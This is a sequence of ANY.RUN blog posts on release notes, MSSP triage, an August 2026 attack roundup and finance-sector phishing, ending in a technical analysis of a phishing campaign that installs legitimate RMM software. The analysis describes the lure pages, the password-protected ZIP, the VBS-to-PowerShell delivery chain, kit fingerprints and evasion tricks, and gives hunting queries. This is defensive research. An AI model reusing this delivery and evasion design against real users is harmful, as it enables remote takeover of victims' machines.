• FlowerStorm HTTP activity observed (SID: 84004196): Identifies HTTP activity associated with the FlowerStorm phishing-as-a-service platform.
• OnyxC2 HTTP activity observed (SID: 84004406): Detects command-and-control check-in attempts linked to OnyxC2 malware-as-a-service activity.

New Threat Intelligence Reports

ANY.RUN published three new Threat Intelligence Reports, covering active phishing operations, remote-access abuse, and newly observed malware. Available to TI Lookup Premium subscribers, the reports combine technical analysis with IOCs, hunting queries, infrastructure context, and MITRE ATT&CK mapping to help analysts investigate and act on threats faster.

1. US-First RMM Phishing Campaign

The US-First RMM Phishing Campaign report uncovers a fake-document campaign that tricks victims into installing legitimate RMM software for remote access. What first looked like a Canada-focused tax lure turned out to be part of a broader operation spanning 46 countries, with 45% of observed activity associated with the United States.

The report traces the campaign’s reusable phishing kit, rotating infrastructure, password-protected delivery chain, and abuse of tools such as GoTo Resolve, LogMeIn Rescue, ScreenConnect, and ConnectWise.

2. Mirage2FA: A Phishing Service That Steals Microsoft 365 Sessions in Real Time

The Mirage2FA report analyzes an active phishing-as-a-service operation targeting Microsoft 365 accounts through AiTM techniques. ANY.RUN researchers examined 1,249 sandbox sessions and linked the campaign to 9,332 potential compromise events across 4,532 potential victims, with 63.7% of identified victims located in the United States.

The report explores Mirage2FA’s browser-based stagers, recurring /xls/ loader pattern, WebSocket-based authentication relay, and session-cookie theft, as well as the infrastructure and recurring LINX markers that connect the operation to LinX Coders.

3. OVERLORD RAT, CRPX0, and TRIBACK Loader

The ANY.RUN Threat Brief covers three distinct threats with very different capabilities: a cross-platform RAT, a modular stealer-ransomware framework, and an in-memory Windows loader.

The brief highlights OVERLORD RAT’s encrypted WebSocket C2 and IDE task abuse, CRPX0’s credential theft, crypto-stealing, and ransomware capabilities, and TRIBACK Loader’s DLL sideloading and memory-resident execution. It also includes hunting queries, IOCs, and MITRE ATT&CK mappings for each threat.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by more than 16,000 organizations and 700,000 security professionals worldwide.

Its Interactive Sandbox helps SOC teams, MSSPs, and enterprise security teams safely analyze suspicious files, URLs, phishing pages, and malware while observing the attack chain in real time. Analysts can inspect processes, browser activity, network traffic, persistence, credential access, and other behaviors to understand what a threat is doing and respond faster.

ANY.RUN’s Threat Intelligence turns data from real-world sandbox investigations into actionable context for threat hunting, detection, and incident response. Teams can pivot across indicators, uncover related infrastructure, connect individual findings to wider campaigns, and bring fresh threat data into existing security controls.

ANY.RUN is SOC 2 Type II attested, reflecting its commitment to strong security controls and customer data protection. By combining behavioral analysis with current threat intelligence, ANY.RUN helps security teams investigate threats faster, improve detection coverage, and contain malicious activity before it causes wider impact.

Integrate ANY.RUN into your SOC workflow →

The post Release Notes: Faster TI Investigations, Fresh Threat Research, and 650+ Threat Coverage Updates appeared first on ANY.RUN's Cybersecurity Blog.

That gap shows up in triage and response first. Teams spend too much time checking IOCs, switching between tools, rebuilding context, and escalating cases that could have been closed earlier. Across thousands of investigations, those extra minutes turn into slower response, more pressure on Tier 2, and higher delivery costs.

Let’s look at the triage and response bottlenecks that quietly drive up MSSP workload, and how to remove them before they start eating into margins.

See Where Triage & Response Put Pressure on MSSP Margins

MSSP profitability depends on keeping the effort behind each client under control. The issue is rarely one dramatic delay. It’s the small, repeatable steps scattered across triage and response that quietly increase the amount of work behind every case.

Some tie up Tier 1. Others pull in more expensive Tier 2 resources, extend case lifecycles, or create work that could have been avoided earlier. Together, they determine how much additional client volume the existing team can absorb before operational costs start catching up with growth.

The more of these bottlenecks remain in the workflow, the harder it becomes to grow the client base without growing operational costs alongside it.

Bottleneck #1: Too Much Time Goes into Basic Alert Validation

Before analysts can decide what to do with an alert, they need enough context to understand whether it is actually malicious.

That often means checking hashes, IPs, domains, and URLs across different sources, searching for related activity, and piecing the findings together manually. The individual steps are small, but Tier 1 has to repeat them throughout the day across different clients and investigations.

Until that context is collected, the case cannot move forward, leaving analysts doing basic research instead of making the decision the alert actually needs.

Give Tier 1 the Context to Decide Faster

With ANY.RUN’s Threat Intelligence Lookup, analysts can investigate suspicious indicators and related activity from one place instead of rebuilding context across multiple sources.

They can search hashes, IPs, domains, URLs, processes, registry activity, and other artifacts, then pivot into connected infrastructure and previous malicious activity. This gives Tier 1 more evidence earlier in the workflow, helping analysts decide faster whether a case can be closed or needs deeper investigation.

Cutting routine validation work gives Tier 1 more capacity for cases that actually need investigation. ANY.RUN can reduce Tier 1 workload by up to 20%, helping MSSPs support more clients without growing headcount at the same pace.

Bottleneck #2: Too Many Cases Get Pushed to Tier 2

When Tier 1 doesn’t have enough context to close a case confidently, escalation becomes the safer option. But every unnecessary handoff pulls a more experienced analyst into work that may not actually require Tier 2 expertise.

The cost goes beyond the escalation itself. Tier 2 may need to review the alert, reconstruct what has already been checked, fill in missing context, and only then continue the investigation. Repeated across multiple clients, that eats into senior analyst capacity and makes each case more expensive to handle.

Keeping more routine cases at Tier 1 reduces the amount of senior analyst time each client consumes.

Help Tier 1 Close More Cases on Their Own

ANY.RUN’s Interactive Sandbox gives Tier 1 analysts behavioral evidence they can use to make a stronger call earlier in the investigation.

Automated Interactivity handles many of the actions that would otherwise require manual analyst input. It can open attachments, follow links, extract URLs from QR codes, navigate redirects, solve CAPTCHA challenges, and launch payloads to expose multi-stage attacks automatically.

For phishing investigations, In-Browser Data Inspection adds visibility into what actually happens inside the page. Analysts can inspect rendered content, credential-harvesting forms, redirect chains, hidden elements, and changes made to the DOM after the page loads. This helps Tier 1 work with evidence that static URL checks can miss.

That stronger evidence can keep more cases from moving up the chain unnecessarily. In ANY.RUN’s healthcare MSSP case study, the Tier 1 closure rate increased from 20% to 70%. TI Lookup enrichment also contributed to 34% fewer false escalations, helping the team keep more routine work away from Tier 2.

Bottleneck #3: Manual Handoffs and Reporting Slow Down Response

Even when an investigation is complete, analysts still have to package what they found for the next person, another team, or the client.

That often means pulling together IOCs, screenshots, behavioral evidence, MITRE ATT&CK mappings, verdicts, and recommended actions manually. If the handoff is incomplete, the next analyst may need to reopen the investigation, recheck evidence, or ask for more context before they can act.

For MSSPs, that extra work adds time to every case. It also ties up both sides of the handoff: the analyst preparing the report and the analyst waiting to continue the response.

Give the Next Analyst a Ready-to-Use Investigation

ANY.RUN’s Tier 1 Reports turn completed sandbox investigations into structured reports that can be passed directly to Tier 2, response teams, or clients.

The report brings together the investigation verdict, key IOCs, behavioral findings, MITRE ATT&CK mapping, screenshots, and other evidence from the analysis. AI Summary and AI Recommendations are generated automatically, giving the next analyst a quick overview of what happened and suggested next steps without having to work through the raw investigation first.

This matters most when escalation is unavoidable. Tier 2 can start with a well-formed investigation record instead of spending the first part of the case rebuilding context that Tier 1 has already collected.

Faster handoffs cut duplicated work and keep analyst time focused on response instead of report assembly, helping MSSPs handle more cases without adding the same pressure to margins.

Bottleneck #4: Outdated Threat Data Adds to the Triage Queue

Threat infrastructure rarely stays still for long. Attackers rotate domains, IPs, and URLs, while new infrastructure can appear faster than traditional threat lists are updated.

For an MSSP protecting multiple client environments, stale intelligence creates a wider problem than a missed indicator. Activity linked to emerging infrastructure may continue generating new cases across customers before detection systems recognize it for what it is.

That leaves analysts reacting to threats later in the cycle, when more investigation work is already required. At scale, even a small gap in threat-data freshness can translate into a larger queue and more incidents competing for the same team.

Bring Fresh Threat Intelligence into Detection

ANY.RUN’s Threat Intelligence Feeds continuously deliver newly observed malicious IPs, domains, and URLs extracted from real malware and phishing investigations.

The intelligence is built on activity seen across a large community of 16K organizations and more than 700K security professionals, creating a continuous source of data on malicious infrastructure as it appears.

Feeds can be brought into an MSSP’s existing security stack, allowing current indicators to support detection across client environments before every new piece of infrastructure becomes another investigation.

Keeping detection closer to what attackers are using now helps stop the triage queue from growing with threats that could have been recognized earlier.

Bottleneck #5: Disconnected Tools Add Friction to Every Response

MSSP workflows rarely happen in one platform. Analysts may investigate a file or URL in one tool, manage alerts in a SIEM, enrich cases in a TIP, and coordinate response through a SOAR or ticketing system.

When those systems are disconnected, investigation results have to be moved manually. IOCs get copied from one platform to another, case context gets rewritten, and analysts spend time making sure the same evidence exists everywhere it needs to.

That friction grows with every additional client environment an MSSP supports.

Connect ANY.RUN Directly to the Existing Security Stack

ANY.RUN integrations let MSSPs bring Sandbox analysis, TI Lookup, and TI Feeds into the tools they already use instead of keeping threat analysis as a separate step.

Depending on the platform, integrations can send suspicious files or URLs to the Sandbox for analysis, enrich alerts with threat intelligence, pass fresh IOCs into detection workflows, or return investigation results to the systems where analysts already manage cases and response.

ANY.RUN supports ready-made integrations with SIEM, SOAR, TIP, XDR, and other security platforms, alongside API/SDK and STIX/TAXII options for custom workflows.

The practical difference is that analysts don’t have to jump out of their existing process every time they need ANY.RUN data. Investigation and threat intelligence can become part of the workflow already running across client environments.

Less copying, fewer context switches, and fewer disconnected steps help cases move from alert to investigation and response faster, without adding another manual process for every customer.

See the Margin Impact of Faster Triage & Response

The value of faster triage and response shows up in how much work the same team can absorb. Fewer routine checks, fewer escalations, and shorter investigations reduce the amount of analyst time tied to each case.

With ANY.RUN, MSSPs can achieve:

• Up to 20% lower Tier 1 workload, freeing frontline capacity for more investigations.
• 30% fewer Tier 1 → Tier 2 escalations, keeping higher-cost analyst time focused on complex cases.
• Up to 21 minutes lower MTTR per case, shortening the time each incident stays in the workflow.
• Up to 3× higher SOC efficiency, giving teams more room to support growing client workloads.

Together, these gains help MSSPs take on more work without letting analyst effort and operational costs grow at the same pace. That creates more room to scale while keeping margins under control.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by 16,000+ organizations and 700,000+ security professionals worldwide.

Its Interactive Sandbox helps SOC teams and MSSPs investigate suspicious files, URLs, phishing pages, and malware while observing attack behavior in real time. Analysts can inspect processes, network activity, browser behavior, persistence, credential access, and other activity to reach faster, more confident verdicts.

ANY.RUN’s Threat Intelligence turns data from real-world sandbox investigations into actionable context for enrichment, detection, threat hunting, and response. Teams can uncover related infrastructure, investigate indicators, and bring fresh threat data into existing security workflows.

ANY.RUN is also SOC 2 Type II attested, reflecting its commitment to strong security controls and customer data protection.

The post Triage & Response Bottlenecks Eating into MSSP Margins: How to Remove the Friction appeared first on ANY.RUN's Cybersecurity Blog.

The result was a mix of account takeover, persistent attacker control, credential exposure, and insider risk that often looked legitimate at first.

Here’s what August’s biggest attacks reveal about where enterprise defenses are under pressure.

What August’s Attacks Revealed About Enterprise Risk

Taken together, August’s incidents point to a broader shift in enterprise risk. Attackers are increasingly targeting the points where organizations already place trust: identities, administrative tools, authentication flows, and employees.

Trusted tools created wider business exposure: Unauthorized RMM software and remote-control malware could give attackers control over credentials, files, and internal systems while blending into normal administration.

Identity compromise threatened core workflows: Mirage2FA and 3DBlast targeted Microsoft 365 sessions, OAuth, device-code authentication, and MFA flows, putting email, cloud files, supplier communication, and finance processes at risk.

MFA did not always end the attack: Stolen sessions could remain valid after authentication, meaning password resets alone might not remove the attacker from the account.

Remote hiring became a security concern: The Famous Chollima investigation showed how false identities could pass recruitment checks and receive legitimate permissions across source code repositories and internal systems, with exposure extending to intellectual property.

Changing infrastructure increased SOC workload: Several campaigns rotated domains, phishing flows, hosting, and remote-access tools, making single-IOC blocking less effective.

Limited context could lead to incomplete containment: A legitimate app, successful login, or familiar document may reveal only one part of the incident. Teams need enough context to understand what was compromised and how far the exposure extends.

Who Attackers Targeted in August

August’s threat activity showed a strong focus on US organizations, cloud account users, and businesses relying on remote access and remote hiring.

1. A US-First RMM Campaign Turned Fake Business Documents into Remote Access Across 46 Countries

Research published by ANY.RUN in August exposed a phishing campaign spanning 46 countries, with 45% of observed activity associated with the United States. Attackers used tax documents, Social Security notices, invoices, Adobe PDFs, VAT notices, and shipping communications to convince victims to install legitimate remote management software.

Check detailed breakdown

The campaign abused signed RMM tools including GoTo Resolve, LogMeIn Rescue, ScreenConnect, ConnectWise, and ITarian to establish hands-on remote access. Because these applications are also used for legitimate IT administration, their activity can resemble normal remote administration and make malicious use harder to identify.

Remote-access risk to reduce: Security teams should be able to identify unexpected RMM installations regardless of the product used. Since the campaign changes domains, lures, and remote-access tools, blocking one URL or application is unlikely to stop the wider operation. ANY.RUN helps expose the full delivery chain and connect recurring campaign patterns across changing infrastructure.

2. Hiring Lazarus APT’s IT Workers in a Fake DeFi Startup Exposed a Different Kind of Insider Threat

A joint investigation by BCA LTD, NorthScan, and ANY.RUN followed suspected Famous Chollima operatives beyond the interview stage by hiring them into a fake DeFi startup. After onboarding, the workers were given what they believed were company virtual desktops, while in reality they were operating inside specially prepared ANY.RUN sandbox environments that recorded their activity.

Check detailed breakdown

Discover detection IOCs and tactics for corporate SOCs

The investigation exposed the use of forged and stolen identities, mule bank accounts, VPNs, remote desktop software, and AI-assisted document manipulation. More importantly, it showed why these schemes go beyond recruitment fraud: once a false identity passes hiring checks, the worker can receive legitimate access to source code, internal systems, intellectual property, and trusted business processes without exploiting a vulnerability.

Insider risk to reduce: Organizations hiring remotely should treat identity verification as an ongoing security control rather than a one-time HR check. Periodic verification, monitoring for unexpected VPN and remote-access activity, and closer review of privileged developer access can help reveal suspicious behavior after onboarding.

3. Mirage2FA Hijacked Microsoft 365 Sessions, Hitting Over 4K Victims in the US

Mirage2FA put US organizations at the center of a large Microsoft 365 phishing operation, with over 4,000 victims in the United States. The phishing-as-a-service toolkit used adversary-in-the-middle techniques to intercept credentials, 2FA codes, and authenticated session cookies, allowing attackers to hijack active Microsoft 365 sessions even after users completed MFA.

Check detailed breakdown

Technology, manufacturing, education, consulting, and telecommunications were among the industries exposed. Session theft was the most common compromise outcome, creating a path to corporate email, cloud services, internal documents, and trusted business accounts that attackers could use for impersonation, fraud, or further access.

Session theft risk to address: A password reset may not be enough once an authenticated session has been stolen. Security teams should revoke active sessions and tokens, investigate activity performed through the compromised identity, and strengthen high-risk accounts with phishing-resistant MFA. ANY.RUN helps reveal the complete browser-based attack flow and identify session theft before a compromised Microsoft 365 account creates wider business exposure.

4. SnakeBiteAgent Turned a Business-Themed ZIP into Full Remote Access

ANY.RUN uncovered a new .NET RAT, SnakeBiteAgent, delivered inside a business-themed ZIP archive. Once executed, the malware could give attackers full remote control, access to credentials, and persistent surveillance capabilities, turning a seemingly routine business file into a serious endpoint compromise.

View analysis session

Check details and gather IOCs

SnakeBiteAgent contains 274 methods with no obfuscation, while its command-and-control traffic is transmitted without encryption. Its capabilities include credential theft, keylogging, hidden desktop access, webcam and microphone capture, and silent installation of AnyDesk and MeshCentral for additional remote access.

Endpoint exposure to contain: A suspicious archive should be investigated beyond the initial file verdict. Security teams need to determine what executes after extraction, what information the malware can access, and whether remote control has already been established. ANY.RUN exposes the execution chain and C2 communication across the analysis sessions, helping analysts confirm the scope of compromise and contain persistent access before exposure spreads.

5. 3DBlast Used Microsoft and Google Login Flows to Target US Organizations

A newly observed phishing kit, 3DBlast, targeted users in the United States while impersonating Microsoft 365, Office 365, and Google. Instead of relying on one fixed phishing flow, the kit could switch between BitB, OAuth/device code phishing, AiTM, and DOM relay techniques while rotating its infrastructure.

View analysis session

Check details and gather IOCs

These different flows allowed attackers to reproduce familiar login experiences, abuse legitimate authentication processes, intercept sessions, and relay victim interactions in real time. For organizations, that increases the risk of account takeover while making phishing harder to recognize from a single URL, page, or authentication event.

Analysts can use ANY.RUN’s Threat Intelligence Lookup to pivot from recurring campaign patterns and uncover related activity:

url:”/sw.js\?tab=t*_*” and threatName:”phishing”

Close Detection Gaps Exposed by August’s Attacks

August’s attacks showed how quickly malicious activity can change shape. Attackers rotated infrastructure, switched phishing flows, abused legitimate software and authentication processes, and used techniques that could look normal until the wider attack chain became visible.

For SOC teams, reducing risk means keeping defenses current, getting enough behavioral evidence to make faster decisions, and connecting individual alerts to the campaigns behind them.

1. Keep Detection Updated with Fresh Threat Intelligence

Domains, URLs, IP addresses, and delivery infrastructure can change long before a campaign disappears. Relying on indicators collected from previous incidents can leave gaps as attackers move to new infrastructure or modify their delivery methods.

ANY.RUN’s Threat Intelligence Feeds provide newly observed malicious IPs, domains, and URLs that teams can integrate into SIEM, SOAR, TIP, firewalls, and other security tools.

The intelligence comes from real-world sandbox investigations, helping security teams continuously update detection coverage instead of waiting for manually collected indicators. Each IOC can also be traced back to the sandbox session where it appeared, giving analysts additional context before they block or escalate it.

2. Give Analysts Behavioral Evidence Behind the Alert

A suspicious URL, attachment, or application does not always reveal the real level of risk on its own. The important evidence often appears after execution: redirects, scripts, credential collection, remote access, persistence, additional payloads, or network communication.

ANY.RUN’s Interactive Sandbox lets analysts safely observe what suspicious files and URLs actually do. Teams can follow browser activity, process execution, network traffic, authentication flows, persistence, credential access, and other behavior within the same investigation.

This gives analysts more evidence to confirm malicious activity, determine the potential scope of compromise, and make containment decisions without rebuilding the attack chain across several separate tools.

3. Expand Individual Alerts into Wider Threat Context

One confirmed malicious file, URL, or domain may represent only a small part of an active campaign. Investigating each indicator separately can make it harder to recognize related infrastructure, recurring behavior, or attacks already observed elsewhere.

ANY.RUN’s Threat Intelligence Lookup helps teams pivot from files, URLs, domains, IP addresses, behaviors, and sandbox sessions to related threat activity across current and historical data.

Analysts can use individual IOCs or recurring campaign patterns as starting points for threat hunting, uncover connected infrastructure, and check whether similar activity has already appeared in other investigations.

Together, TI Lookup and sandbox evidence help teams move beyond one alert at a time and understand the broader threat context sooner, while TI Feeds bring newly observed indicators back into existing security controls to strengthen detection against the next attempt.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by more than 16,000 organizations and 700,000 security professionals worldwide.

Its Interactive Sandbox helps SOC teams, MSSPs, and enterprise security teams safely analyze suspicious files, URLs, phishing pages, and malware while observing the full attack chain in real time. Analysts can inspect browser activity, processes, network traffic, persistence, credential access, and other behavior to make faster and more confident response decisions.

ANY.RUN’s Threat Intelligence turns data from real-world sandbox investigations into actionable context for detection, threat hunting, and incident response. Teams can uncover related infrastructure, connect individual alerts to wider campaigns, and bring newly observed threat data into existing security controls.

ANY.RUN is SOC 2 Type II attested, reflecting its commitment to strong security controls and customer data protection. By combining behavioral analysis with current threat intelligence, ANY.RUN helps security teams reduce investigation uncertainty, improve detection coverage, and contain threats before they create wider business impact.

The post Major Cyber Attacks in August 2026: US and EU Businesses Hit by Session Hijacking, Remote Access, and Insider Risk appeared first on ANY.RUN's Cybersecurity Blog.

Legitimate services and tools used in daily workflows across corporate America are increasingly abused to deliver phishing attacks or disguise malicious activity. Identity-based attacks let threat actors spread across an organization from a single, barely detectable entry point.

At the same time, malware itself is only part of the problem. Operational gaps inside SOCs also contribute to the issue.

ANY.RUN investigation data shows how several cybersecurity pressures come together for financial-sector security teams, leading to higher phishing exposure and heavier workloads for individual analysts.

From these challenges also come the solutions security leaders should consider for malware & phishing resilience.

Key Takeaways

• Phishing remains a major risk for US finance, with campaigns becoming more scalable and harder to detect.

• Modern phishing techniques challenge traditional defenses, increasing the need for deeper behavioral and threat visibility.

• ANY.RUN combines real-time analysis with fresh threat intelligence to help SOCs detect malicious activity earlier and investigate with greater context.

• Threat data from 16K+ organizations helps financial security teams expand visibility into emerging threats and reduce risk exposure.

Why Phishing Puts Financial SOCs Under Particular Pressure

The finance sector is saturated with high-value identities, transactions, and sensitive financial data. At the same time, email-heavy workflows create a large attack surface for phishing.

This is reflected in what financial organizations investigate. According to ANY.RUN, 58% of submissions from finance companies are emails, and 14.8% of those emails are malicious.

Phishing exposure in finance is also higher than the overall benchmark. As per ANY.RUN research, 72.7% of finance companies’ investigations involve phishing.

For SOC teams, this increased exposure translates into investigation volume, contributing to heightened analyst pressure. Based on ANY.RUN’s 2026 investigation data across financial organizations, workload per analyst in finance is 24% higher than the global median.

Analysts also face additional pressure when it comes to the evolving, ever-changing nature of modern malware and phishing threats.

For instance, credential compromise can be mitigated comparatively easy through established authentication controls, credential resets, and account remediation. But session compromise, a method increasingly present in modern phishing campaigns like Mirage2FA, creates a challenge at a more serious scale. Attackers can hijack an already authenticated session, making malicious activity harder to detect and contain.

An extra layer of pressure comes from financial organizations operating under strict compliance and investigation requirements. This makes additionalinvestigation overhead particularly costly.

Combined, these operational challenges have a very direct financial dimension. According to the FBI, business email compromise alone generated more than $55 billion in reported exposed losses globally between October 2013 and December 2023.

The US Factor: Higher Stakes for Financial Organizations

The US phishing landscape overall comes with significant financial stakes. In 2025, the FBI recorded 191,561 phishing and spoofing complaints, while business email compromise (BEC) generated more than $3 billion in reported losses.

The threat activity observed across financial organizations helps put this scale into context. Phishing kits such as Tycoon2FA, Sneaky2FA, EvilProxy, ClickFix, and Eviltokens are 5 of the most common threats seen in ANY.RUN investigations. In 2026 alone, leading phishing kits appeared in samples submitted for analysis by 883 financial-sector organizations using ANY.RUN globally.

For US SOCs in particular, phishing pressure is also linked to local business and financial flows. Attackers adapt lures to events such as the US tax season, using fake tax forms, IRS-related communications, and other time-sensitive financial documents when employees are more likely to expect them. This adds another layer of credibility to attacks already designed to blend into legitimate workflows.

The same principle extends to the tools and brands employees trust every day. Attackers abuse Microsoft 365, Adobe, cloud infrastructure, document-sharing services, and other legitimate services to make malicious activity harder to separate from normal business traffic.

The result is a particularly costly combination: high phishing and BEC impact at the national level, while the threats financial SOCs investigate are becoming increasingly difficult to separate from legitimate activity.

Top Solutions for SOC Challenges in Finance

A total of 1,811 financial industry businesses use ANY.RUN products to investigate threats and strengthen their security operations. Their success stories demonstrate measurable improvements across key SOC workflows, driven by solutions to some of the sector’s most persistent security challenges:

1. Detecting Threats Before They Spread

As phishing infrastructure and attack techniques change rapidly, making reactive defense strategy less efficient, early detection gives security teams more time to act.

ANY.RUN combines real-time behavioral analysis with fresh threat intelligence to help analysts identify malicious activity before an initial compromise develops into a larger incident. This allows SOC teams to contain threats earlier and reduce their potential operational and financial impact.

2. Catching More Evasive Threats

Modern phishing increasingly abuses legitimate services and tools and relies on evasion techniques that make malicious activity harder to recognize.

Interactive analysis exposes redirects, network connections, processes, payloads, and other behavior behind suspicious emails, URLs, and files, helping analysts uncover threats other detection may miss.

3. Reducing Investigation Time

In finance, slow investigations can leave more time for identity compromise, data exposure, and financial impact.

ANY.RUN gives analysts behavioral context and threat intelligence in one investigation workflow, reducing dwell time and manual work required to understand an attack and reach a reliable decision.

To learn about the latest supply chain attacks early, SOC teams also rely on ANY.RUN’s TI Reports that provide overviews of emerging threats. Curated by an expert team of threat intelligence analysts, these reports offer actionable indicators along with recommendations on how to detect new malware strains.

4. Handling Higher Workloads with Fewer Escalations

With workload per analyst 24% higher in finance than the global median, making better use of existing SOC capacity is critical.

Detailed threat context helps Tier 1 analysts validate and resolve more cases independently, keeping senior analysts focused on incidents that require deeper investigation.

5. Turning Every Investigation Into Broader Threat Visibility

A phishing investigation can provide value well beyond the initial verdict.

With Threat Intelligence Feeds, ANY.RUN extracts IOCs and connects them with behavioral and threat context, providing them with intelligence to be reusedacross threat hunting, detection engineering, SIEM workflows, and future investigations.

Using Threat Intelligence Lookup, your team can also track threats by industry and region. To browse US-submitted malware samples across financial organizations, use this TI Lookup query:

submissionCountry:”US” AND industry:”finance”

This allows you to take the upper hand in the race against threat actors and collect live threat intelligence from 16K+ SOCs and 700K+ security experts to strengthen proactive defense against modern phishing.

Conclusion

American SOC teams across finance sector operate in a high-risk environment where sophisticated threats, growing alert volumes, strict security requirements, and pressure to respond quickly all converge.

ANY.RUN helps close these gaps without increasing the amount of manual investigation required by combining interactive analysis with actionable threat intelligence. It provides analysts with opportunity to:

• Validate suspicious activity with real-time behavioral analysis in the Interactive Sandbox

• Uncover full attack behavior with process, network, and system activity visibility

• Enrich IOCs with context using Threat Intelligence Lookup

• Identify related infrastructure by pivoting across connected URLs, domains, IPs, files, and analyses

For financial organizations, this translates into stronger threat visibility, faster and more confident investigations, and less operational pressure on SOC teams.

With threat data continuously generated across 16K+ organizations and an average MTTD of 14 seconds, ANY.RUN helps security teams detect threats earlier, reduce exposure, and protect critical financial systems and customer data.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions, helping organizations investigate threats faster and make informed response decisions based on clear behavioral evidence.

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, as well as Threat Intelligence products powered by investigation data from more than 16,000 organizations. This intelligence enables security teams to enrich alerts, identify emerging threats earlier, and bring relevant context into detection, investigation, and response workflows.

ANY.RUN is SOC 2 Type II attested, reflecting its commitment to robust security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, ANY.RUN helps reduce investigation uncertainty, speed up triage, and turn threat analysis into actionable security decisions.

The post US Finance Under Phishing Pressure: What the SOC Data Reveals? appeared first on ANY.RUN's Cybersecurity Blog.

The attackers impersonate trusted organizations and document types to trick victims into installing legitimate remote management software, giving them remote access to compromised systems.

Part I. Campaign Scope, Impact, and Defense

Threat Overview

This phishing operation’s final goal is the remote control of the victim’s machine. A reusable fake-document kit delivers interchangeable, legitimate RMM software installer, which the attacker then abuses for hands-on access.

Because the payload is signed commercial software, ordinary signature-based antivirus cannot flag it. Its activity resembles ordinary remote administration.

View this malware analysis in TI Reports

The campaign uses multiple lures, including the US Social Security Administration, Adobe PDF documents, invoices, VAT notices, and shipping communications, allowing the same attack model to target victims across different regions and business contexts.

Campaign Profile

Statistics and Victimology

Two scopes are important here: the CRA/T4 Word arm, with 137 observed cases, and the broader fake-document family, covering 425 kit URLs across 240 hosts and 601 cases with geographic and industry context.

Activity grew from a single observed case in January 2026 to a steady 17–33 cases per month. Because the final payload is legitimate signed RMM software, cases are tracked through shared kit assets rather than malware-family verdicts, which would significantly undercount the campaign.

Geographically, the broader family is US-first, while the CRA/T4 arm is Canada-first. North America accounts for 61% of family cases, but activity spans 46 countries, with 35 contributing 1% or less. Canada represents 16% of the broader family but 33.3% of the CRA/T4 arm, consistent with deliberate targeting around the Canadian tax lure.

Across industries, education, technology, and government appear prominently in both datasets. Technology figures may be influenced by higher security-team submission rates, while the exposure seen in education and government is more consistent with genuine targeting.

Banking, manufacturing, and finance also feature prominently, aligning more closely with the campaign’s invoice and VAT-themed lures.

These figures represent where campaign samples were observed rather than confirmed compromises, so they should be treated as indicators of targeting focus and a proxy for the potential victim population.

What to Take Back to Your SOC Team

For security leaders, the key takeaway is that defenses need to be product-agnostic. This campaign abuses legitimate, signed RMM software and can switch between vendors, so controls built around a specific tool or AV verdict will leave gaps. Ensure your SOC focuses on the delivery chain and unauthorized remote-access activity instead.

• Treat the RMM install itself as a signal, whatever the product. GoTo Resolve, LogMeIn Rescue, ScreenConnect, ConnectWise, and ITarian have all been abused in this campaign. Detection should focus on how the software reaches the environment, particularly installations originating from new free-hosting domains or compromised WordPress pages, rather than on the RMMproduct itself.

• Build detection around persistent campaign patterns. Disposable Vercel infrastructure rotates rapidly: 94% of 240 observed hosts appeared for only a single day. Instead of relying primarily on domains, prioritize stable kit indicators, including the fmtt / font1.woff2, icons8-microsoft-word-94.png asset, and the secure.html → project/*.zip chain.

• Account for password-protected archive delivery. The campaign pairs fake document pages with password-protected ZIP files and provides the password to the victim, helping payloads evade automated inspection. Mail-layer controls and user awareness should account for this delivery pattern.

• Baseline authorized remote-access tooling. Maintain an inventory of approved RMM products and ensure the SOC can quickly identify unexpected installations or activity.

• Give analysts behavioral and threat context in one investigation workflow. In this analysis, ANY.RUN’s Interactive Sandbox exposed the delivery chain, browser activity, scripts, and network requests, while Threat Intelligence Lookup expanded persistent indicators into the wider campaign.

Part II. Technical Malware Analysis

Introduction

New *.vercel[.]app deployments appear more or less constantly, each only days old.

One of them, fillingconfirmation[.]vercel[.]app, had been registered just one day before it was observed. Vercel suits the operator well: every deployment comes with valid TLS, a trusted domain, and one-command redeployment. All this gives the lures the reputation needed to clear mail filters while remaining cheap enough to abandon at will.

The activity has continued since January 2026 at a steady monthly pace, with 18 to 57 new kit hosts appearing each month. Cloudflare, Kaseya/INKY, and CyberArmor have also reported on this activity, with findings consistent with what follows here.

The delivery chain

The attack begins with a phishing email linking to a disposable *.vercel[.]app page disguised as a legitimate document. The CRA/T4 lure is one example, alongside SSA, VAT, invoice, shipping, and other document-themed variants.

The page redirects to secure.html, which provides an access code and downloads a password-protected ZIP – the payload. Once the victim extracts and runs the VBS script inside, PowerShell downloads and installs a legitimate RMM agent, giving the operator hands-on-keyboard remote access.

The Kit’s Handwriting Revealed via Advanced URL Analysis

Using ANY.RUN’s in-browser data inspection, we reconstructed the full browser-side chain, including DOM changes, redirects, page content, and screenshots of what the victim sees at each stage.

Every deployment ships essentially the same page, byte for byte. Several recurring DOM elements reveal the kit’s distinctive handwriting:

• An empty title.

• A @font-face declaration for font-family:’fmtt’ sourcing url(img/font1.woff2) — the shared font that links the broader family.

• img src=’img/icons8-microsoft-word-94.png’ id=’fd’ alt=’PDF Icon’ — a Word icon persistently mislabeled as “PDF Icon.”

• A #rl red spinner element.

• A three-hop meta-refresh chain: root page → secure.html → project/<lure>.zip.

• The recurring “Downloading 2025 T4 Form…” and access-code text.

For additional cover, the kit opens a harmless decoy PDF through legitimate OneDrive infrastructure (1drv[.]ms, onedrive[.]live[.]com, and canadaeast1-mediap[.]svc[.]ms). Its purpose is simply to make the download appear routine to the victim.

Execution behavior

Using Static discovering in ANY.RUN’s Interactive Sandbox, we inspected the VBS script responsible for launching the next stage of the attack.

The chain progresses only after the victim enters the on-page access code. This unlocks a single VBS script that uses FileSystemObject to launch POWERSHELL.EXE and download the next stage.

PowerShell does the rest: it skips the user profile, introduces a sleep delay to evade timing-based analysis, writes binary data to a stream, and downloads and installs the RMM MSI. Once installed, the RMM agent gives the operator live, hands-on-keyboard access to the system.

Evasion

Evasion operates across multiple stages of the delivery chain. The first layer is the archive: project/<lure>.zip returns HTTP 200 but remains password-encrypted, leaving automated pipelines with an inert ZIP they cannot open. The VBS inside is extracted and executed only after the victim enters the on-page access code.

